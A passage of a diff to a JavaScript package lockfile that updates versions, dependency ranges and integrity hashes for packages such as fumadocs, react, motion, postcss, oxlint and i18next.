- "fumadocs-core": ["fumadocs-core@16.8.4", "", { "dependencies": { "@orama/orama": "^3.1.18", "estree-util-value-to-estree": "^3.5.0", "github-slugger": "^2.0.0", "hast-util-to-estree": "^3.1.3", "hast-util-to-jsx-runtime": "^2.3.6", "js-yaml": "^4.1.1", "mdast-util-mdx": "^3.0.0", "mdast-util-to-markdown": "^2.1.2", "remark": "^15.0.1", "remark-gfm": "^4.0.1", "remark-rehype": "^11.1.2", "scroll-into-view-if-needed": "^3.1.0", "shiki": "^4.0.2", "tinyglobby": "^0.2.16", "unified": "^11.0.5", "unist-util-visit": "^5.1.0", "vfile": "^6.0.3" }, "peerDependencies": { "@mdx-js/mdx": "*", "@mixedbread/sdk": "0.x.x", "@orama/core": "1.x.x", "@oramacloud/client": "2.x.x", "@tanstack/react-router": "1.x.x", "@types/estree-jsx": "*", "@types/hast": "*", "@types/mdast": "*", "@types/react": "*", "algoliasearch": "5.x.x", "flexsearch": "*", "lucide-react": "*", "next": "16.x.x", "react": "^19.2.0", "react-dom": "^19.2.0", "react-router": "7.x.x", "waku": "^0.26.0 || ^0.27.0 || ^1.0.0", "zod": "4.x.x" }, "optionalPeers": ["@mdx-js/mdx", "@mixedbread/sdk", "@orama/core", "@oramacloud/client", "@tanstack/react-router", "@types/estree-jsx", "@types/hast", "@types/mdast", "@types/react", "algoliasearch", "flexsearch", "lucide-react", "next", "react", "react-dom", "react-router", "waku", "zod"] }, "sha512-o8N7YocCSdoehR7cTSYv9usvE3F5q0rrnoro3hGRnSI1SdolmeuxTbdfQgebaP61E7wAI4hIWgo7CzImGRT2Tw=="],
+ "fumadocs-core": ["fumadocs-core@16.9.1", "", { "dependencies": { "@orama/orama": "^3.1.18", "estree-util-value-to-estree": "^3.5.0", "github-slugger": "^2.0.0", "hast-util-to-estree": "^3.1.3", "hast-util-to-jsx-runtime": "^2.3.6", "js-yaml": "^4.1.1", "mdast-util-mdx": "^3.0.0", "mdast-util-to-markdown": "^2.1.2", "remark": "^15.0.1", "remark-gfm": "^4.0.1", "remark-rehype": "^11.1.2", "scroll-into-view-if-needed": "^3.1.0", "shiki": "^4.0.2", "tinyglobby": "^0.2.16", "unified": "^11.0.5", "unist-util-visit": "^5.1.0", "vfile": "^6.0.3" }, "peerDependencies": { "@mdx-js/mdx": "*", "@mixedbread/sdk": "0.x.x", "@orama/core": "1.x.x", "@oramacloud/client": "2.x.x", "@tanstack/react-router": "1.x.x", "@types/estree-jsx": "*", "@types/hast": "*", "@types/mdast": "*", "@types/react": "*", "algoliasearch": "5.x.x", "flexsearch": "*", "lucide-react": "*", "next": "16.x.x", "react": "^19.2.0", "react-dom": "^19.2.0", "react-router": "7.x.x", "waku": "*", "zod": "4.x.x" }, "optionalPeers": ["@mdx-js/mdx", "@mixedbread/sdk", "@orama/core", "@oramacloud/client", "@tanstack/react-router", "@types/estree-jsx", "@types/hast", "@types/mdast", "@types/react", "algoliasearch", "flexsearch", "lucide-react", "next", "react", "react-dom", "react-router", "waku", "zod"] }, "sha512-8VW4aD1iG5SrCChRq84QpNyjKY69i5WfUFFgtx/LSUuX1RewWb0qps7DhKLSjOWraemhZatzsZ7iceivJmYRTg=="],
- "fumadocs-mdx": ["fumadocs-mdx@14.3.1", "", { "dependencies": { "@mdx-js/mdx": "^3.1.1", "@standard-schema/spec": "^1.1.0", "chokidar": "^5.0.0", "esbuild": "^0.28.0", "estree-util-value-to-estree": "^3.5.0", "js-yaml": "^4.1.1", "mdast-util-mdx": "^3.0.0", "mdast-util-to-markdown": "^2.1.2", "picocolors": "^1.1.1", "picomatch": "^4.0.4", "tinyexec": "^1.1.1", "tinyglobby": "^0.2.16", "unified": "^11.0.5", "unist-util-remove-position": "^5.0.0", "unist-util-visit": "^5.1.0", "vfile": "^6.0.3", "zod": "^4.3.6" }, "peerDependencies": { "@types/mdast": "*", "@types/mdx": "*", "@types/react": "*", "fumadocs-core": "^15.0.0 || ^16.0.0", "mdast-util-directive": "*", "next": "^15.3.0 || ^16.0.0", "react": "^19.2.0", "vite": "6.x.x || 7.x.x || 8.x.x" }, "optionalPeers": ["@types/mdast", "@types/mdx", "@types/react", "mdast-util-directive", "next", "react", "vite"], "bin": { "fumadocs-mdx": "dist/bin.js" } }, "sha512-0u2eXvYrZtrJB14y6fDhP0hhxLgmH8JOmRv6IVHALt5MqR9JIJxV5LJYlho8g8CJXRE8w12rVNFZN0rtUVAqGw=="],
+ "fumadocs-mdx": ["fumadocs-mdx@15.0.8", "", { "dependencies": { "@mdx-js/mdx": "^3.1.1", "@standard-schema/spec": "^1.1.0", "chokidar": "^5.0.0", "esbuild": "^0.28.0", "estree-util-value-to-estree": "^3.5.0", "js-yaml": "^4.1.1", "mdast-util-mdx": "^3.0.0", "picocolors": "^1.1.1", "picomatch": "^4.0.4", "tinyexec": "^1.1.2", "tinyglobby": "^0.2.16", "unified": "^11.0.5", "unist-util-remove-position": "^5.0.0", "unist-util-visit": "^5.1.0", "vfile": "^6.0.3", "zod": "^4.4.3" }, "peerDependencies": { "@types/mdast": "*", "@types/mdx": "*", "@types/react": "*", "fumadocs-core": "^16.7.0", "mdast-util-directive": "*", "next": "^15.3.0 || ^16.0.0", "react": "^19.2.0", "rolldown": "*", "vite": "7.x.x || 8.x.x" }, "optionalPeers": ["@types/mdast", "@types/mdx", "@types/react", "mdast-util-directive", "next", "react", "rolldown", "vite"], "bin": { "fumadocs-mdx": "./bin.js" } }, "sha512-CT9odtkLmpjH/DOTEW8prKY6SYzr7rmHmJj+ZBkvppPMNFstvTLvxxpY0ri8/9RPmCTZQUUMdNBxcPzhsHIcgw=="],
- "fumadocs-ui": ["fumadocs-ui@16.8.4", "", { "dependencies": { "@fumadocs/tailwind": "0.0.5", "@radix-ui/react-accordion": "^1.2.12", "@radix-ui/react-collapsible": "^1.1.12", "@radix-ui/react-dialog": "^1.1.15", "@radix-ui/react-direction": "^1.1.1", "@radix-ui/react-navigation-menu": "^1.2.14", "@radix-ui/react-popover": "^1.1.15", "@radix-ui/react-presence": "^1.1.5", "@radix-ui/react-scroll-area": "^1.2.10", "@radix-ui/react-slot": "^1.2.4", "@radix-ui/react-tabs": "^1.1.13", "class-variance-authority": "^0.7.1", "lucide-react": "^1.11.0", "motion": "^12.38.0", "next-themes": "^0.4.6", "react-remove-scroll": "^2.7.2", "rehype-raw": "^7.0.0", "scroll-into-view-if-needed": "^3.1.0", "shiki": "^4.0.2", "tailwind-merge": "^3.5.0", "unist-util-visit": "^5.1.0" }, "peerDependencies": { "@takumi-rs/image-response": "*", "@types/mdx": "*", "@types/react": "*", "fumadocs-core": "16.8.4", "next": "16.x.x", "react": "^19.2.0", "react-dom": "^19.2.0" }, "optionalPeers": ["@takumi-rs/image-response", "@types/mdx", "@types/react", "next"] }, "sha512-KnNtGUT54772Rhafq9qK/5oo+77MoVwR9HEEvGfXz14hsBs4XWikkOqMbgm6Jjx45rUUbVIWU9qVMernPSXG0g=="],
+ "fumadocs-ui": ["fumadocs-ui@16.9.1", "", { "dependencies": { "@fumadocs/tailwind": "0.0.5", "@radix-ui/react-accordion": "^1.2.12", "@radix-ui/react-collapsible": "^1.1.12", "@radix-ui/react-dialog": "^1.1.15", "@radix-ui/react-direction": "^1.1.1", "@radix-ui/react-navigation-menu": "^1.2.14", "@radix-ui/react-popover": "^1.1.15", "@radix-ui/react-presence": "^1.1.5", "@radix-ui/react-scroll-area": "^1.2.10", "@radix-ui/react-slot": "^1.2.4", "@radix-ui/react-tabs": "^1.1.13", "class-variance-authority": "^0.7.1", "lucide-react": "^1.16.0", "motion": "^12.38.0", "next-themes": "^0.4.6", "react-remove-scroll": "^2.7.2", "rehype-raw": "^7.0.0", "scroll-into-view-if-needed": "^3.1.0", "shiki": "^4.0.2", "tailwind-merge": "^3.6.0", "unist-util-visit": "^5.1.0" }, "peerDependencies": { "@takumi-rs/image-response": "*", "@types/mdx": "*", "@types/react": "*", "fumadocs-core": "16.9.1", "next": "16.x.x", "react": "^19.2.0", "react-dom": "^19.2.0" }, "optionalPeers": ["@takumi-rs/image-response", "@types/mdx", "@types/react", "next"] }, "sha512-2A8wO/RuoV0eOgabKMlcjBEPQKynbE4wkxoTfAj/E6bYCid/zY3DG+hhSI1Ssen5ws/73mFPacIEBsWhdAAsnw=="],
"function-bind": ["function-bind@1.1.2", "", {}, "sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA=="],
@@ -831,7 +832,7 @@
"human-signals": ["human-signals@2.1.0", "", {}, "sha512-B4FFZ6q/T2jhhksgkbEW3HBvWIfDW85snkQgawt07S7J5QXTk6BkNV+0yAeZrM5QpMAdYlocGoljn0sJ/WQkFw=="],
- "i18next": ["i18next@26.0.8", "", { "peerDependencies": { "typescript": "^5 || ^6" }, "optionalPeers": ["typescript"] }, "sha512-BRzLom0mhDhV9v0QhgUUHWQJuwFmnr1194xEcNLYD6ym8y8s542n4jXUvRLnhNTbh9PmpU6kGZamyuGHQMsGjw=="],
+ "i18next": ["i18next@26.2.0", "", { "peerDependencies": { "typescript": "^5 || ^6" }, "optionalPeers": ["typescript"] }, "sha512-zwBHldHdTmwN7r6UNc7lC6GWNN+YYg3DrRSeHR5PRRBf5QnJZcYHrQc0uaU26qZeYxR7iFZD+Y315dPnKP47wA=="],
"import-fresh": ["import-fresh@3.3.1", "", { "dependencies": { "parent-module": "^1.0.0", "resolve-from": "^4.0.0" } }, "sha512-TR3KfrTZTYLPB6jUjfx6MF9WcWrHL9su5TObK4ZkYgBdWKPOFoSoQIdEuTuR82pmtxH2spWG9h6etwfr1pLBqQ=="],
@@ -863,7 +864,7 @@
"is-wsl": ["is-wsl@2.2.0", "", { "dependencies": { "is-docker": "^2.0.0" } }, "sha512-fKzAra0rGJUUBwGBgNkHZuToZcn+TtXHpeCgmkMJMMYx1sQDYaCSyjJBSCa2nH1DGm7s3n1oBnohoVTBaN7Lww=="],
- "isbot": ["isbot@5.1.39", "", {}, "sha512-obH0yYahGXdzNxo+djmHhBYThUKDkz565cxkIlt2L9hXfv1NlaLKoDBHo6KxXsYrIXx2RK3x5vY36CfZcobxEw=="],
+ "isbot": ["isbot@5.1.40", "", {}, "sha512-yNeeynhhtIVRBk12tBV4eHNxwB42HzR4Q3Ea7vCOiJhImGaAIdIMrbJtacQlBizGLjUPw+akkFI5Dn9T70XoVQ=="],
"isexe": ["isexe@2.0.0", "", {}, "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw=="],
@@ -919,7 +920,7 @@
"lru-cache": ["lru-cache@5.1.1", "", { "dependencies": { "yallist": "^3.0.2" } }, "sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w=="],
- "lucide-react": ["lucide-react@1.11.0", "", { "peerDependencies": { "react": "^16.5.1 || ^17.0.0 || ^18.0.0 || ^19.0.0" } }, "sha512-UOhjdztXCgdBReRcIhsvz2siIBogfv/lhJEIViCpLt924dO+GDms9T7DNoucI23s6kEPpe988m5N0D2ajnzb2g=="],
+ "lucide-react": ["lucide-react@1.16.0", "", { "peerDependencies": { "react": "^16.5.1 || ^17.0.0 || ^18.0.0 || ^19.0.0" } }, "sha512-dYwyPzb4MEKpGUmNYk3WKWPnMrHs3FKM+q94kAnJrcDIqqn1hq2xY8scaS2ovsOCM5D51ey2gaRG3PBb1vgoYQ=="],
"magic-string": ["magic-string@0.30.21", "", { "dependencies": { "@jridgewell/sourcemap-codec": "^1.5.5" } }, "sha512-vd2F4YUyEXKGcLHoq+TEyCjxueSeHnFxyyjNp80yg0XV4vUhnDer/lvvlqM/arB5bXQN5K2/3oinyCRyx8T2CQ=="],
@@ -1043,15 +1044,15 @@
"minipass": ["minipass@7.1.3", "", {}, "sha512-tEBHqDnIoM/1rXME1zgka9g6Q2lcoCkxHLuc7ODJ5BxbP5d4c2Z5cGgtXAku59200Cx7diuHTOYfSBD8n6mm8A=="],
- "motion": ["motion@12.38.0", "", { "dependencies": { "framer-motion": "^12.38.0", "tslib": "^2.4.0" }, "peerDependencies": { "@emotion/is-prop-valid": "*", "react": "^18.0.0 || ^19.0.0", "react-dom": "^18.0.0 || ^19.0.0" }, "optionalPeers": ["@emotion/is-prop-valid", "react", "react-dom"] }, "sha512-uYfXzeHlgThchzwz5Te47dlv5JOUC7OB4rjJ/7XTUgtBZD8CchMN8qEJ4ZVsUmTyYA44zjV0fBwsiktRuFnn+w=="],
+ "motion": ["motion@12.40.0", "", { "dependencies": { "framer-motion": "^12.40.0", "tslib": "^2.4.0" }, "peerDependencies": { "@emotion/is-prop-valid": "*", "react": "^18.0.0 || ^19.0.0", "react-dom": "^18.0.0 || ^19.0.0" }, "optionalPeers": ["@emotion/is-prop-valid", "react", "react-dom"] }, "sha512-yjrHUrBFW6kQvjJwRsoiPSAhC5tRwRqNGJWmiJ4CrGnbKp0V88AdzkhBmDoqIsIPfarOe0Uddd37Xq43/gIocA=="],
- "motion-dom": ["motion-dom@12.38.0", "", { "dependencies": { "motion-utils": "^12.36.0" } }, "sha512-pdkHLD8QYRp8VfiNLb8xIBJis1byQ9gPT3Jnh2jqfFtAsWUA3dEepDlsWe/xMpO8McV+VdpKVcp+E+TGJEtOoA=="],
+ "motion-dom": ["motion-dom@12.40.0", "", { "dependencies": { "motion-utils": "^12.39.0" } }, "sha512-HxU3ZaBwNPVQUBQf1xxgq+7JrPNZvjLVxgbpEZL7RrWJnsxOf0/OM+yrHG9ogLQ31Do/r57Oz2gQWPK+6q62mg=="],
- "motion-utils": ["motion-utils@12.36.0", "", {}, "sha512-eHWisygbiwVvf6PZ1vhaHCLamvkSbPIeAYxWUuL3a2PD/TROgE7FvfHWTIH4vMl798QLfMw15nRqIaRDXTlYRg=="],
+ "motion-utils": ["motion-utils@12.39.0", "", {}, "sha512-8nadJAJjTtqRkmRF36FoJTrywK9nnFmnPwnSMyxaOCU7GDjN9RTMJIxx9De8ErM+vpPhMccr/6fo5WciyQLnMQ=="],
"ms": ["ms@2.1.3", "", {}, "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA=="],
- "nanoid": ["nanoid@3.3.11", "", { "bin": { "nanoid": "bin/nanoid.cjs" } }, "sha512-N8SpfPUnUp1bK+PMYW8qSWdl9U+wwNWI4QKxOYDy9JAro3WMX7p2OeVRF9v+347pnakNevPmiHhNmZ2HbFA76w=="],
+ "nanoid": ["nanoid@3.3.12", "", { "bin": { "nanoid": "bin/nanoid.cjs" } }, "sha512-ZB9RH/39qpq5Vu6Y+NmUaFhQR6pp+M2Xt76XBnEwDaGcVAqhlvxrl3B2bKS5D3NH3QR76v3aSrKaF/Kiy7lEtQ=="],
"negotiator": ["negotiator@0.6.4", "", {}, "sha512-myRT3DiWPHqho5PrJaIRyaMv2kgYf0mUVgBNOYMuCH5Ki1yEiQaf/ZJuQ62nvpc44wL5WDbTX7yGJi1Neevw8w=="],
@@ -1071,9 +1072,9 @@
"oniguruma-to-es": ["oniguruma-to-es@4.3.4", "", { "dependencies": { "oniguruma-parser": "^0.12.1", "regex": "^6.0.1", "regex-recursion": "^6.0.2" } }, "sha512-3VhUGN3w2eYxnTzHn+ikMI+fp/96KoRSVK9/kMTcFqj1NRDh2IhQCKvYxDnWePKRXY/AqH+Fuiyb7VHSzBjHfA=="],
- "oxfmt": ["oxfmt@0.46.0", "", { "dependencies": { "tinypool": "2.1.0" }, "optionalDependencies": { "@oxfmt/binding-android-arm-eabi": "0.46.0", "@oxfmt/binding-android-arm64": "0.46.0", "@oxfmt/binding-darwin-arm64": "0.46.0", "@oxfmt/binding-darwin-x64": "0.46.0", "@oxfmt/binding-freebsd-x64": "0.46.0", "@oxfmt/binding-linux-arm-gnueabihf": "0.46.0", "@oxfmt/binding-linux-arm-musleabihf": "0.46.0", "@oxfmt/binding-linux-arm64-gnu": "0.46.0", "@oxfmt/binding-linux-arm64-musl": "0.46.0", "@oxfmt/binding-linux-ppc64-gnu": "0.46.0", "@oxfmt/binding-linux-riscv64-gnu": "0.46.0", "@oxfmt/binding-linux-riscv64-musl": "0.46.0", "@oxfmt/binding-linux-s390x-gnu": "0.46.0", "@oxfmt/binding-linux-x64-gnu": "0.46.0", "@oxfmt/binding-linux-x64-musl": "0.46.0", "@oxfmt/binding-openharmony-arm64": "0.46.0", "@oxfmt/binding-win32-arm64-msvc": "0.46.0", "@oxfmt/binding-win32-ia32-msvc": "0.46.0", "@oxfmt/binding-win32-x64-msvc": "0.46.0" }, "bin": { "oxfmt": "bin/oxfmt" } }, "sha512-CopwJOwPAjZ9p76fCvz+mSOJTw9/NY3cSksZK3VO/bUQ8UoEcketNgUuYS0UB3p+R9XnXe7wGGXUmyFxc7QxJA=="],
+ "oxfmt": ["oxfmt@0.51.0", "", { "dependencies": { "tinypool": "2.1.0" }, "optionalDependencies": { "@oxfmt/binding-android-arm-eabi": "0.51.0", "@oxfmt/binding-android-arm64": "0.51.0", "@oxfmt/binding-darwin-arm64": "0.51.0", "@oxfmt/binding-darwin-x64": "0.51.0", "@oxfmt/binding-freebsd-x64": "0.51.0", "@oxfmt/binding-linux-arm-gnueabihf": "0.51.0", "@oxfmt/binding-linux-arm-musleabihf": "0.51.0", "@oxfmt/binding-linux-arm64-gnu": "0.51.0", "@oxfmt/binding-linux-arm64-musl": "0.51.0", "@oxfmt/binding-linux-ppc64-gnu": "0.51.0", "@oxfmt/binding-linux-riscv64-gnu": "0.51.0", "@oxfmt/binding-linux-riscv64-musl": "0.51.0", "@oxfmt/binding-linux-s390x-gnu": "0.51.0", "@oxfmt/binding-linux-x64-gnu": "0.51.0", "@oxfmt/binding-linux-x64-musl": "0.51.0", "@oxfmt/binding-openharmony-arm64": "0.51.0", "@oxfmt/binding-win32-arm64-msvc": "0.51.0", "@oxfmt/binding-win32-ia32-msvc": "0.51.0", "@oxfmt/binding-win32-x64-msvc": "0.51.0" }, "peerDependencies": { "svelte": "^5.0.0" }, "optionalPeers": ["svelte"], "bin": { "oxfmt": "bin/oxfmt" } }, "sha512-l/AoAnaEOV7Q5/Z9kHOMDehVJnCgYN7wRoooWCTUMBMi16BJhLZqd9cmCnwcVFfVlzkt53zK2KLPFNp8vSsoDg=="],
- "oxlint": ["oxlint@1.61.0", "", { "optionalDependencies": { "@oxlint/binding-android-arm-eabi": "1.61.0", "@oxlint/binding-android-arm64": "1.61.0", "@oxlint/binding-darwin-arm64": "1.61.0", "@oxlint/binding-darwin-x64": "1.61.0", "@oxlint/binding-freebsd-x64": "1.61.0", "@oxlint/binding-linux-arm-gnueabihf": "1.61.0", "@oxlint/binding-linux-arm-musleabihf": "1.61.0", "@oxlint/binding-linux-arm64-gnu": "1.61.0", "@oxlint/binding-linux-arm64-musl": "1.61.0", "@oxlint/binding-linux-ppc64-gnu": "1.61.0", "@oxlint/binding-linux-riscv64-gnu": "1.61.0", "@oxlint/binding-linux-riscv64-musl": "1.61.0", "@oxlint/binding-linux-s390x-gnu": "1.61.0", "@oxlint/binding-linux-x64-gnu": "1.61.0", "@oxlint/binding-linux-x64-musl": "1.61.0", "@oxlint/binding-openharmony-arm64": "1.61.0", "@oxlint/binding-win32-arm64-msvc": "1.61.0", "@oxlint/binding-win32-ia32-msvc": "1.61.0", "@oxlint/binding-win32-x64-msvc": "1.61.0" }, "peerDependencies": { "oxlint-tsgolint": ">=0.18.0" }, "optionalPeers": ["oxlint-tsgolint"], "bin": { "oxlint": "bin/oxlint" } }, "sha512-ZC0ALuhDZ6ivOFG+sy0D0pEDN49EvsId98zVlmYdkcXHsEM14m/qTNUEsUpiFiCVbpIxYtVBmmLE87nsbUHohQ=="],
+ "oxlint": ["oxlint@1.66.0", "", { "optionalDependencies": { "@oxlint/binding-android-arm-eabi": "1.66.0", "@oxlint/binding-android-arm64": "1.66.0", "@oxlint/binding-darwin-arm64": "1.66.0", "@oxlint/binding-darwin-x64": "1.66.0", "@oxlint/binding-freebsd-x64": "1.66.0", "@oxlint/binding-linux-arm-gnueabihf": "1.66.0", "@oxlint/binding-linux-arm-musleabihf": "1.66.0", "@oxlint/binding-linux-arm64-gnu": "1.66.0", "@oxlint/binding-linux-arm64-musl": "1.66.0", "@oxlint/binding-linux-ppc64-gnu": "1.66.0", "@oxlint/binding-linux-riscv64-gnu": "1.66.0", "@oxlint/binding-linux-riscv64-musl": "1.66.0", "@oxlint/binding-linux-s390x-gnu": "1.66.0", "@oxlint/binding-linux-x64-gnu": "1.66.0", "@oxlint/binding-linux-x64-musl": "1.66.0", "@oxlint/binding-openharmony-arm64": "1.66.0", "@oxlint/binding-win32-arm64-msvc": "1.66.0", "@oxlint/binding-win32-ia32-msvc": "1.66.0", "@oxlint/binding-win32-x64-msvc": "1.66.0" }, "peerDependencies": { "oxlint-tsgolint": ">=0.22.1" }, "optionalPeers": ["oxlint-tsgolint"], "bin": { "oxlint": "bin/oxlint" } }, "sha512-N4LLxYLd94KEBqXDMDM5f+2PUpItTjDLreXe2Gn5KhjhCK4Qp2YUXaBi8Yu325ryOgKwt22m45fpD7nPOn69Yw=="],
"p-map": ["p-map@7.0.4", "", {}, "sha512-tkAQEw8ysMzmkhgw8k+1U/iPhWNhykKnSk4Rd5zLoPJCuJaGRPo6YposrZgaxHKzDHdDWWZvE/Sk7hsL2X/CpQ=="],
@@ -1107,7 +1108,7 @@
"pkg-types": ["pkg-types@2.3.0", "", { "dependencies": { "confbox": "^0.2.2", "exsolve": "^1.0.7", "pathe": "^2.0.3" } }, "sha512-SIqCzDRg0s9npO5XQ3tNZioRY1uK06lA41ynBC1YmFTmnY6FjUjVt6s4LoADmwoig1qqD0oK8h1p/8mlMx8Oig=="],
- "postcss": ["postcss@8.5.10", "", { "dependencies": { "nanoid": "^3.3.11", "picocolors": "^1.1.1", "source-map-js": "^1.2.1" } }, "sha512-pMMHxBOZKFU6HgAZ4eyGnwXF/EvPGGqUr0MnZ5+99485wwW41kW91A4LOGxSHhgugZmSChL5AlElNdwlNgcnLQ=="],
+ "postcss": ["postcss@8.5.15", "", { "dependencies": { "nanoid": "^3.3.12", "picocolors": "^1.1.1", "source-map-js": "^1.2.1" } }, "sha512-FfR8sjd4em2T6fb3I2MwAJU7HWVMr9zba+enmQeeWFfCbm+UOC/0X4DS8XtpUTMwWMGbjKYP7xjfNekzyGmB3A=="],
"prettier": ["prettier@3.7.4", "", { "bin": { "prettier": "bin/prettier.cjs" } }, "sha512-v6UNi1+3hSlVvv8fSaoUbggEM5VErKmmpGA7Pl3HF8V6uKY7rvClBOJlH6yNwQtfTueNkGVpOv/mtWL9L4bgRA=="],
@@ -1123,25 +1124,25 @@
"rc": ["rc@1.2.8", "", { "dependencies": { "deep-extend": "^0.6.0", "ini": "~1.3.0", "minimist": "^1.2.0", "strip-json-comments": "~2.0.1" }, "bin": { "rc": "./cli.js" } }, "sha512-y3bGgqKj3QBdxLbLkomlohkvsA8gdAiUQlSBJnBhfn+BPxg4bc62d8TcBW15wavDfgexCgccckhcZvywyQYPOw=="],
- "react": ["react@19.2.5", "", {}, "sha512-llUJLzz1zTUBrskt2pwZgLq59AemifIftw4aB7JxOqf1HY2FDaGDxgwpAPVzHU1kdWabH7FauP4i1oEeer2WCA=="],
+ "react": ["react@19.2.6", "", {}, "sha512-sfWGGfavi0xr8Pg0sVsyHMAOziVYKgPLNrS7ig+ivMNb3wbCBw3KxtflsGBAwD3gYQlE/AEZsTLgToRrSCjb0Q=="],
"react-copy-to-clipboard": ["react-copy-to-clipboard@5.1.1", "", { "dependencies": { "copy-to-clipboard": "^3.3.3", "prop-types": "^15.8.1" }, "peerDependencies": { "react": ">=15.3.0" } }, "sha512-s+HrzLyJBxrpGTYXF15dTgMjAJpEPZT/Yp6NytAtZMRngejxt6Pt5WrfFxLAcsqUDU6sY1Jz6tyHwIicE1U2Xg=="],
"react-d3-tree": ["react-d3-tree@3.6.6", "", { "dependencies": { "@bkrem/react-transition-group": "^1.3.5", "@types/d3-hierarchy": "^1.1.8", "clone": "^2.1.1", "d3-hierarchy": "^1.1.9", "d3-selection": "^3.0.0", "d3-shape": "^1.3.7", "d3-zoom": "^3.0.0", "dequal": "^2.0.2", "uuid": "^8.3.1" }, "peerDependencies": { "react": "16.x || 17.x || 18.x || 19.x", "react-dom": "16.x || 17.x || 18.x || 19.x" } }, "sha512-E9ByUdeqvlxLlF9BSL7KWQH3ikYHtHO+g1rAPcVgj6mu92tjRUCan2AWxoD4eTSzzAATf8BZtf+CXGSoSd6ioQ=="],
- "react-dom": ["react-dom@19.2.5", "", { "dependencies": { "scheduler": "^0.27.0" }, "peerDependencies": { "react": "^19.2.5" } }, "sha512-J5bAZz+DXMMwW/wV3xzKke59Af6CHY7G4uYLN1OvBcKEsWOs4pQExj86BBKamxl/Ik5bx9whOrvBlSDfWzgSag=="],
+ "react-dom": ["react-dom@19.2.6", "", { "dependencies": { "scheduler": "^0.27.0" }, "peerDependencies": { "react": "^19.2.6" } }, "sha512-0prMI+hvBbPjsWnxDLxlCGyM8PN6UuWjEUCYmZhO67xIV9Xasa/r/vDnq+Xyq4Lo27g8QSbO5YzARu0D1Sps3g=="],
- "react-hook-form": ["react-hook-form@7.74.0", "", { "peerDependencies": { "react": "^16.8.0 || ^17 || ^18 || ^19" } }, "sha512-yR6wHr99p9wFv686jhRWVSFhUvDvNbdUf2dKlbno8/VKOCuoNobDGC6S+M2dua9A9Yo8vpcrp8assIYbsZCQ9g=="],
+ "react-hook-form": ["react-hook-form@7.76.1", "", { "peerDependencies": { "react": "^16.8.0 || ^17 || ^18 || ^19" } }, "sha512-rYM7tPiWlu3nZchkR/ex7piyzui2vFPyaLnXnI/RnblB/L4qfMmyses8llJVtF1NpE9WBBsJlGtcSZzPCXW1qQ=="],
"react-hotkeys-hook": ["react-hotkeys-hook@5.2.1", "", { "peerDependencies": { "react": ">=16.8.0", "react-dom": ">=16.8.0" } }, "sha512-xbKh6zJxd/vJHT4Bw4+0pBD662Fk20V+VFhLqciCg+manTVO4qlqRqiwFOYelfHN9dBvWj9vxaPkSS26ZSIJGg=="],
- "react-i18next": ["react-i18next@17.0.4", "", { "dependencies": { "@babel/runtime": "^7.29.2", "html-parse-stringify": "^3.0.1", "use-sync-external-store": "^1.6.0" }, "peerDependencies": { "i18next": ">= 26.0.1", "react": ">= 16.8.0", "typescript": "^5 || ^6" }, "optionalPeers": ["typescript"] }, "sha512-hQipmK4EF0y6RO6tt6WuqnmWpWYEXmQUUzecmMBuNsIgYd3smXcG4GtYPWhvgxn0pqMOItKlEO8H24HCs5hc3g=="],
+ "react-i18next": ["react-i18next@17.0.8", "", { "dependencies": { "@babel/runtime": "^7.29.2", "html-parse-stringify": "^3.0.1", "use-sync-external-store": "^1.6.0" }, "peerDependencies": { "i18next": ">= 26.2.0", "react": ">= 16.8.0", "typescript": "^5 || ^6" }, "optionalPeers": ["typescript"] }, "sha512-0ooKbGLU8JXhe1zwpQUWIeXSgLPOfwJmgheWRIUpcoA0CpyabpGhayjdG+/eA5esC1AQ8h2jWpXjJfzQzeDOCw=="],
"react-is": ["react-is@16.13.1", "", {}, "sha512-24e6ynE2H+OKt4kqsOvNd8kBpV65zoxbA4BVsEOB3ARVWQki/DHzaUoC5KuON/BiccDaCCTZBuOcfZs70kR8bQ=="],
"react-lifecycles-compat": ["react-lifecycles-compat@3.0.4", "", {}, "sha512-fBASbA6LnOU9dOU2eW7aQ8xmYBSXUIWr+UmF9b1efZBazGNO+rcXT/icdKnYm2pTwcRylVUYwW7H1PHfLekVzA=="],
- "react-medium-image-zoom": ["react-medium-image-zoom@5.4.3", "", { "peerDependencies": { "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0", "react-dom": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0" } }, "sha512-cDIwdn35fRUPsGnnj/cG6Pacll+z+Mfv6EWU2wDO5ngbZjg5uLRb2ZhEnh92ufbXCJDFvXHekb8G3+oKqUcv5g=="],
+ "react-medium-image-zoom": ["react-medium-image-zoom@5.4.5", "", { "peerDependencies": { "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0", "react-dom": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0" } }, "sha512-58QSIRK6X3uw2fSTejJRnH0JuKTZl7ZJYX+sAMaYx4YTEm33gsNdnP5RuQSCnBiAvisQeErqZWAT31bR89WB6g=="],
"react-refresh": ["react-refresh@0.14.2", "", {}, "sha512-jCvmsr+1IUSMUyzOkRcvnVbX3ZYC6g9TDrDbFuFmRDq7PD4yaGbLKNQL6k2jnArV8hjYxh7hVhAZB6s9HDGpZA=="],
@@ -1207,7 +1208,7 @@
"rimraf": ["rimraf@6.1.3", "", { "dependencies": { "glob": "^13.0.3", "package-json-from-dist": "^1.0.1" }, "bin": { "rimraf": "dist/esm/bin.mjs" } }, "sha512-LKg+Cr2ZF61fkcaK1UdkH2yEBBKnYjTyWzTJT6KNPcSPaiT7HSdhtMXQuN5wkTX0Xu72KQ1l8S42rlmexS2hSA=="],
